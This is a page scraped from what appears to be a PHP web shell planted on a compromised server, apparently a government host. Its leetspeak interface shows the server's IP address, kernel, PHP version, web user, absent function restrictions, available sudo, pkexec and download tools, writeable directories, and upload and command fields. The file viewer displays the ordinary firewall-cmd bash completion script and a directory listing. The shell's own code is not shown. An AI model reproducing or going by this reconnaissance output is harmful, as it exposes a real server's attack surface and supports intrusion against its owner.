p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/bash-completion/completions/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/bash-completion/completions/firewall-cmd
# bash completion for firewall-cmd                         -*- shell-script -*-

# Copyright (C) 2013 Red Hat, Inc.
#
# Authors:
# Jiri Popelka <jpopelka@redhat.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#


# TODO: find a way how to get the following options from firewall-cmd

OPTIONS_LOCKDOWN="--add-lockdown-whitelist-command= --remove-lockdown-whitelist-command= \
       --query-lockdown-whitelist-command= --list-lockdown-whitelist-commands \
       --add-lockdown-whitelist-context= --remove-lockdown-whitelist-context= \
       --query-lockdown-whitelist-context= --list-lockdown-whitelist-contexts \
       --add-lockdown-whitelist-uid= --remove-lockdown-whitelist-uid= \
       --query-lockdown-whitelist-uid= --list-lockdown-whitelist-uids  \
       --add-lockdown-whitelist-user= --remove-lockdown-whitelist-user= \
       --query-lockdown-whitelist-user= --list-lockdown-whitelist-users"

# can be used as standalone or with --permanent
OPTIONS_CONFIG="--get-zones --get-services --get-icmptypes --get-helpers \
                ${OPTIONS_LOCKDOWN} --list-all-zones \
                --info-zone= --info-service= --info-icmptype= \
		--info-ipset= --info-helper="

OPTIONS_ZONE_INTERFACES_SOURCES="\
            --add-interface= --remove-interface= --query-interface= \
            --list-interfaces --change-interface= --change-zone= \
            --add-source= --remove-source= --query-source= \
            --change-source= --list-sources"

OPTIONS_ZONE_ACTION_ACTION="--add-service= --remove-service= --query-service= \
                       --add-port= --remove-port= --query-port= \
                       --add-source-port= --remove-source-port= --query-source-port= \
                       --add-protocol= --remove-protocol= --query-protocol= \
                       --add-icmp-block= --remove-icmp-block= --query-icmp-block= \
                       --add-forward-port= --remove-forward-port= --query-forward-port="

OPTIONS_ZONE_ADAPT_QUERY="--add-rich-rule= --remove-rich-rule= --query-rich-rule= \
                    --add-icmp-block-inversion --remove-icmp-block-inversion \
                    --query-icmp-block-inversion \
                    --add-masquerade --remove-masquerade --query-masquerade \
                    --list-services --list-ports --list-protocols \
                    --list-source-ports --list-icmp-blocks \
                    --list-forward-ports --list-rich-rules --list-all"

OPTIONS_ZONE_PERMANENT_ONLY="--get-description --get-short \
                             --set-description= --set-short="

OPTIONS_IPSET_ACTION_ACTION="--add-entry= --remove-entry= --query-entry= --add-entries-from-file= --remove-entries-from-file"

OPTIONS_IPSET_ADAPT_QUERY="--list-entries"

# can be used with/without preceding --zone=<zone>
OPTIONS_ZONE="${OPTIONS_ZONE_INTERFACES_SOURCES} \
              ${OPTIONS_ZONE_ACTION_ACTION} ${OPTIONS_ZONE_ADAPT_QUERY}
              ${OPTIONS_ZONE_PERMANENT_ONLY}"

OPTIONS_IPSET="${OPTIONS_IPSETACTION_ACTION} ${OPTIONS_IPSET_ADAPT_QUERY}"

OPTIONS_PERMANENT_ONLY="--new-icmptype= --new-icmptype-from-file= --delete-icmptype= \
                        --new-service= --new-service-from-file= --delete-service= \
                        --new-zone= --new-zone-from-file= --delete-zone= \
                        --new-ipset= --new-helper-from-file= --delete-ipset= \
                        --new-helper= --new-helper-from-file= --delete-helper= \
                        --get-target --set-target= \
                        --path-zone= --path-service= --path-icmptype= \
                        --path-ipset= --path-helper="

OPTIONS_NEW_IPSET="--type= --option="

OPTIONS_NEW_HELPER="--module= --family="

OPTIONS_HELPER=""

# can be used after --permanent
OPTIONS_PERMANENT="${OPTIONS_CONFIG} --zone= ${OPTIONS_ZONE} \
                   ${OPTIONS_PERMANENT_ONLY}"

OPTIONS_DIRECT="--passthrough \
        --add-chain --remove-chain --query-chain --get-chains --get-all-chains \
         --add-rule --remove-rule  --remove-rules --query-rule  --get-rules  --get-all-rules \
         --add-passthrough --remove-passthrough \
         --query-passthrough --get-passthroughs --get-all-passthroughs"

# these all can be used as a "first" option
OPTIONS_GENERAL="--help --version \
                 --state --reload --complete-reload \
                 --panic-on --panic-off --query-panic \
                 --get-log-denied --set-log-denied= --get-ipset-types \
                 --lockdown-on --lockdown-off --query-lockdown \
                 --get-default-zone --set-default-zone= --get-active-zones \
                 --get-zone-of-interface= --get-zone-of-interface= \
                 ${OPTIONS_CONFIG} \
                 --zone= ${OPTIONS_ZONE} \
                 --permanent --direct"

_firewall_cmd()
{
    local cur prev words cword split
    _init_completion -s || return

    case $prev in
    --*-entries-from-file|--new-*-from-file)
	_filedir
	return
        ;;
    --new-ipset*)
        if [[ "$cur" == -* ]]; then
            COMPREPLY=( $( compgen -W "${OPTIONS_NEW_IPSET}" -- "$cur") )
        fi
        ;;
    --new-helper*)
        if [[ "$cur" == -* ]]; then
            COMPREPLY=( $( compgen -W "${OPTIONS_NEW_HELPER}" -- "$cur") )
        fi
        ;;
    --new-*)
        ;;
    --zone|--set-default-zone|--info-zone|--path-zone)
        if [[ ${words[@]} == *--permanent* ]]; then
          COMPREPLY=( $( compgen -W '`firewall-cmd --permanent --get-zones`' -- "$cur" ) )
        else
          COMPREPLY=( $( compgen -W '`firewall-cmd --get-zones`' -- "$cur" ) )
        fi
        ;;
    --zone=*)
        COMPREPLY=( $( compgen -W "${OPTIONS_ZONE}" -- "$cur" ) )
        ;;
    --ipset=*)
        COMPREPLY=( $( compgen -W "${OPTIONS_IPSET}" -- "$cur" ) )
        ;;
    --*-ipset)
        if [[ ${words[@]} == *--permanent* ]]; then
          COMPREPLY=( $( compgen -W '`firewall-cmd --permanent --get-ipsets`' -- "$cur" ) )
        else
          COMPREPLY=( $( compgen -W '`firewall-cmd --get-ipsets`' -- "$cur" ) )
        fi
        ;;
    --*-service)
        if [[ ${words[@]} == *--permanent* ]]; then
          COMPREPLY=( $( compgen -W '`firewall-cmd --permanent --get-services`' -- "$cur" ) )
        else
          COMPREPLY=( $( compgen -W '`firewall-cmd --get-services`' -- "$cur" ) )
        fi
        ;;
    --helper|--info-helper|--path-helper)
        if [[ ${words[@]} == *--permanent* ]]; then
          COMPREPLY=( $( compgen -W '`firewall-cmd --permanent --get-helpers`' -- "$cur" ) )
        else
          COMPREPLY=( $( compgen -W '`firewall-cmd --get-helpers`' -- "$cur" ) )
        fi
        ;;
    --helper=*)
        COMPREPLY=( $( compgen -W "${OPTIONS_HELPER}" -- "$cur" ) )
        ;;
    --*-icmp-block|--info-icmptype|--path-icmptype)
        if [[ ${words[@]} == *--permanent* ]]; then
          COMPREPLY=( $( compgen -W '`firewall-cmd --permanent --get-icmptypes`' -- "$cur" ) )
        else
          COMPREPLY=( $( compgen -W '`firewall-cmd --get-icmptypes`' -- "$cur" ) )
        fi
        ;;
    --list-services|--add-service=*|--remove-service=*|--query-service=*|\
    --list-ports|--add-port=*|--remove-port=*|--query-port=*|\
    --list-source-ports|--add-source-port=*|--remove-source-port=*|--query-source-port=*|\
    --list-protocols|--add-protocol=*|--remove-protocol=*|--query-protocol=*|\
    --list-icmp-blocks|--add-icmp-block=*|--remove-icmp-block=*|--query-icmp-block=*|\
    --list-forward-ports|--add-forward-port=*|--remove-forward-port=*|--query-forward-port=*|\
    --list-interfaces|--add-interface=*|--remove-interface=*|--query-interface=*|\
    --list-sources|--add-source=*|--remove-source=*|--query-source=*|\
    --add-masquerade|--remove-masquerade|--query-masquerade|--list-all|\
    --get-description|--get-short|--set-description=*|--set-short=*)
        opts=""
        # --add and --remove can be used multiple times
        if [[ ( ${prev} == --add-* ) || ( ${prev} == --remove-* ) ]]; then
          [[ ${prev} == *=* ]] && opts="${prev%=*}=" || opts="${prev}"
        fi
        if [[ ! ${words[@]} == *--permanent* ]]; then
          opts="${opts} --permanent"
          [[ ${prev} == --add-* ]] && opts="${opts} --timeout="
        fi
        [[ ! ${words[@]} == *--zone=* ]] && opts="${opts} --zone="
        if [ -n "${opts}" ]; then
            COMPREPLY=( $( compgen -W "${opts}" -- "$cur" ) )
        fi

        ;;
    --*-interface|--change-zone)
        _available_interfaces
        ;;
    --permanent)
        [[ ${words[@]} == *--direct* ]] && opts="${OPTIONS_DIRECT}" || opts="${OPTIONS_PERMANENT} --direct"
        COMPREPLY=( $( compgen -W "${opts}" -- "$cur" ) )
        ;;
    --direct)
        [[ ${words[@]} == *--permanent* ]] && opts="${OPTIONS_DIRECT}" || opts="${OPTIONS_DIRECT} --permanent"
        COMPREPLY=( $( compgen -W "${opts}" -- "$cur" ) )
        ;;
    --*-rich-rule)
        # to not be matched with --*-rule below
        return 0
        ;;
    --passthrough|--*-chain|--get-chains|--*-rule|--get-rules|--remove-rules)
        COMPREPLY=( $( compgen -W 'ipv4 ipv6 eb' -- "$cur" ) )
        ;;
    ipv4|ipv6|eb)
        if [[ ${words[@]} == *--passthrough* ]]; then
            return 0
        else
            COMPREPLY=( $( compgen -W 'nat filter mangle' -- "$cur" ) )
        fi
        ;;
    *)
        if [[ "$cur" == -* ]]; then
	    if [[ ${words[@]} == *--new-ipset* ]]; then
		COMPREPLY=( $( compgen -W "${OPTIONS_NEW_IPSET}" -- "$cur") )
	    else
		COMPREPLY=( $( compgen -W "${OPTIONS_GENERAL}" -- "$cur") )
	    fi
        fi
        ;;
    esac

    # do not append a space to words that end with =
    [[ $COMPREPLY == *= ]] && compopt -o nospace

} &&
complete -F _firewall_cmd firewall-cmd
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
June 09 2021 16:11:06
0 / 0
0755
addpart
0.508 KB
February 02 2021 16:31:37
0 / 0
0644
blkdiscard
0.636 KB
February 02 2021 16:31:37
0 / 0
0644
blkid
1.475 KB
February 02 2021 16:31:37
0 / 0
0644
blockdev
0.743 KB
February 02 2021 16:31:37
0 / 0
0644
bootctl
1.793 KB
December 07 2023 14:51:19
0 / 0
0644
busctl
7.535 KB
December 07 2023 14:51:19
0 / 0
0644
cal
0.395 KB
February 02 2021 16:31:37
0 / 0
0644
cfdisk
0.719 KB
February 02 2021 16:31:37
0 / 0
0644
chcpu
1.178 KB
February 02 2021 16:31:37
0 / 0
0644
chfn
0.435 KB
February 02 2021 16:31:37
0 / 0
0644
chrt
0.781 KB
February 02 2021 16:31:37
0 / 0
0644
chsh
0.494 KB
February 02 2021 16:31:37
0 / 0
0644
col
0.449 KB
February 02 2021 16:31:37
0 / 0
0644
colcrt
0.473 KB
February 02 2021 16:31:37
0 / 0
0644
colrm
0.497 KB
February 02 2021 16:31:37
0 / 0
0644
column
0.708 KB
February 02 2021 16:31:37
0 / 0
0644
coredumpctl
3.339 KB
December 07 2023 14:51:19
0 / 0
0644
ctrlaltdel
0.327 KB
February 02 2021 16:31:37
0 / 0
0644
delpart
0.634 KB
February 02 2021 16:31:37
0 / 0
0644
dmesg
1.031 KB
February 02 2021 16:31:37
0 / 0
0644
dracut
3.5 KB
September 30 2020 15:57:58
0 / 0
0644
eject
1.164 KB
February 02 2021 16:31:37
0 / 0
0644
fallocate
0.579 KB
February 02 2021 16:31:37
0 / 0
0644
fdformat
0.404 KB
February 02 2021 16:31:37
0 / 0
0644
fdisk
1.046 KB
February 02 2021 16:31:37
0 / 0
0644
findmnt
2.772 KB
February 02 2021 16:31:37
0 / 0
0644
firewall-cmd
10.099 KB
April 28 2021 13:31:12
0 / 0
0644
flock
0.84 KB
February 02 2021 16:31:37
0 / 0
0644
fsck
0.771 KB
February 02 2021 16:31:37
0 / 0
0644
fsck.cramfs
0.496 KB
February 02 2021 16:31:37
0 / 0
0644
fsck.minix
0.394 KB
February 02 2021 16:31:37
0 / 0
0644
fsfreeze
0.512 KB
February 02 2021 16:31:37
0 / 0
0644
fstrim
0.611 KB
February 02 2021 16:31:37
0 / 0
0644
gapplication
1.356 KB
October 22 2016 05:18:00
0 / 0
0644
gdbus
0.913 KB
October 22 2016 05:18:00
0 / 0
0644
getopt
0.796 KB
February 02 2021 16:31:37
0 / 0
0644
grub
11.407 KB
April 30 2024 19:38:52
0 / 0
0644
gsettings
2.763 KB
January 08 2018 21:34:00
0 / 0
0644
hexdump
0.644 KB
February 02 2021 16:31:37
0 / 0
0644
hostnamectl
2.161 KB
December 07 2023 14:51:19
0 / 0
0644
hwclock
0.915 KB
February 02 2021 16:31:37
0 / 0
0644
ionice
0.817 KB
February 02 2021 16:31:37
0 / 0
0644
ipcrm
1.39 KB
February 02 2021 16:31:37
0 / 0
0644
ipcs
0.502 KB
February 02 2021 16:31:37
0 / 0
0644
isosize
0.416 KB
February 02 2021 16:31:37
0 / 0
0644
journalctl
5.403 KB
December 07 2023 14:51:19
0 / 0
0644
kernel-install
1.75 KB
December 07 2023 14:51:19
0 / 0
0644
kmod
3.159 KB
April 01 2020 02:58:15
0 / 0
0644
ldattach
1.233 KB
February 02 2021 16:31:37
0 / 0
0644
localectl
3.355 KB
December 07 2023 14:51:19
0 / 0
0644
logger
1.132 KB
February 02 2021 16:31:37
0 / 0
0644
loginctl
4.03 KB
December 07 2023 14:51:19
0 / 0
0644
look
0.559 KB
February 02 2021 16:31:37
0 / 0
0644
losetup
1.469 KB
February 02 2021 16:31:37
0 / 0
0644
lsblk
1.441 KB
February 02 2021 16:31:37
0 / 0
0644
lscpu
0.81 KB
February 02 2021 16:31:37
0 / 0
0644
lsinitrd
2.046 KB
September 30 2020 15:57:58
0 / 0
0644
lslocks
0.979 KB
February 02 2021 16:31:37
0 / 0
0644
machinectl
3.119 KB
December 07 2023 14:51:19
0 / 0
0644
mcookie
0.49 KB
February 02 2021 16:31:37
0 / 0
0644
mkfs
0.676 KB
February 02 2021 16:31:37
0 / 0
0644
mkfs.cramfs
0.802 KB
February 02 2021 16:31:37
0 / 0
0644
mkfs.minix
0.699 KB
February 02 2021 16:31:37
0 / 0
0644
mkswap
0.747 KB
February 02 2021 16:31:37
0 / 0
0644
more
0.516 KB
February 02 2021 16:31:37
0 / 0
0644
mountpoint
0.557 KB
February 02 2021 16:31:37
0 / 0
0644
namei
0.488 KB
February 02 2021 16:31:37
0 / 0
0644
nmcli
3.744 KB
November 16 2020 16:15:05
0 / 0
0644
nsenter
0.933 KB
February 02 2021 16:31:37
0 / 0
0644
partx
1.074 KB
February 02 2021 16:31:37
0 / 0
0644
pivot_root
0.378 KB
February 02 2021 16:31:37
0 / 0
0644
prlimit
1.16 KB
February 02 2021 16:31:37
0 / 0
0644
raw
0.471 KB
February 02 2021 16:31:37
0 / 0
0644
readprofile
0.663 KB
February 02 2021 16:31:37
0 / 0
0644
rename
0.617 KB
February 02 2021 16:31:37
0 / 0
0644
renice
0.793 KB
February 02 2021 16:31:37
0 / 0
0644
resizepart
0.675 KB
February 02 2021 16:31:37
0 / 0
0644
rev
0.422 KB
February 02 2021 16:31:37
0 / 0
0644
rpm
9.771 KB
November 24 2021 16:33:30
0 / 0
0644
rtcwake
0.821 KB
February 02 2021 16:31:37
0 / 0
0644
runuser
0.844 KB
February 02 2021 16:31:37
0 / 0
0644
script
0.651 KB
February 02 2021 16:31:37
0 / 0
0644
scriptreplay
0.578 KB
February 02 2021 16:31:37
0 / 0
0644
setarch
0.757 KB
February 02 2021 16:31:37
0 / 0
0644
setpriv
1.968 KB
February 02 2021 16:31:37
0 / 0
0644
setsid
0.423 KB
February 02 2021 16:31:37
0 / 0
0644
setterm
2.243 KB
February 02 2021 16:31:37
0 / 0
0644
sfdisk
1.414 KB
February 02 2021 16:31:37
0 / 0
0644
su
0.844 KB
February 02 2021 16:31:37
0 / 0
0644
swaplabel
0.62 KB
February 02 2021 16:31:37
0 / 0
0644
swapon
1.317 KB
February 02 2021 16:31:37
0 / 0
0644
systemctl
12.295 KB
December 07 2023 14:51:19
0 / 0
0644
systemd-analyze
3.896 KB
December 07 2023 14:51:19
0 / 0
0644
systemd-cat
1.867 KB
December 07 2023 14:51:19
0 / 0
0644
systemd-cgls
1.75 KB
December 07 2023 14:51:19
0 / 0
0644
systemd-cgtop
1.322 KB
December 07 2023 14:51:19
0 / 0
0644
systemd-delta
1.906 KB
December 07 2023 14:51:19
0 / 0
0644
systemd-detect-virt
1.286 KB
December 07 2023 14:51:19
0 / 0
0644
systemd-nspawn
5.738 KB
December 07 2023 14:51:19
0 / 0
0644
systemd-run
3.514 KB
December 07 2023 14:51:19
0 / 0
0644
tailf
0.518 KB
February 02 2021 16:31:37
0 / 0
0644
taskset
1.058 KB
February 02 2021 16:31:37
0 / 0
0644
tc
26.405 KB
September 30 2020 16:40:48
0 / 0
0644
timedatectl
2.52 KB
December 07 2023 14:51:19
0 / 0
0644
tuned-adm
0.499 KB
March 21 2019 22:10:46
0 / 0
0644
udevadm
3.639 KB
December 07 2023 14:51:19
0 / 0
0644
ul
0.64 KB
February 02 2021 16:31:37
0 / 0
0644
unshare
0.484 KB
February 02 2021 16:31:37
0 / 0
0644
utmpdump
0.455 KB
February 02 2021 16:31:37
0 / 0
0644
uuidgen
0.375 KB
February 02 2021 16:31:37
0 / 0
0644
wdctl
1.174 KB
February 02 2021 16:31:37
0 / 0
0644
whereis
0.522 KB
February 02 2021 16:31:37
0 / 0
0644
wipefs
0.742 KB
February 02 2021 16:31:37
0 / 0
0644
write
0.482 KB
February 02 2021 16:31:37
0 / 0
0644
yum
11.227 KB
October 01 2020 17:03:44
0 / 0
0644
yummain.py
11.227 KB
October 01 2020 17:03:44
0 / 0
0644
zramctl
1.185 KB
February 02 2021 16:31:37
0 / 0
0644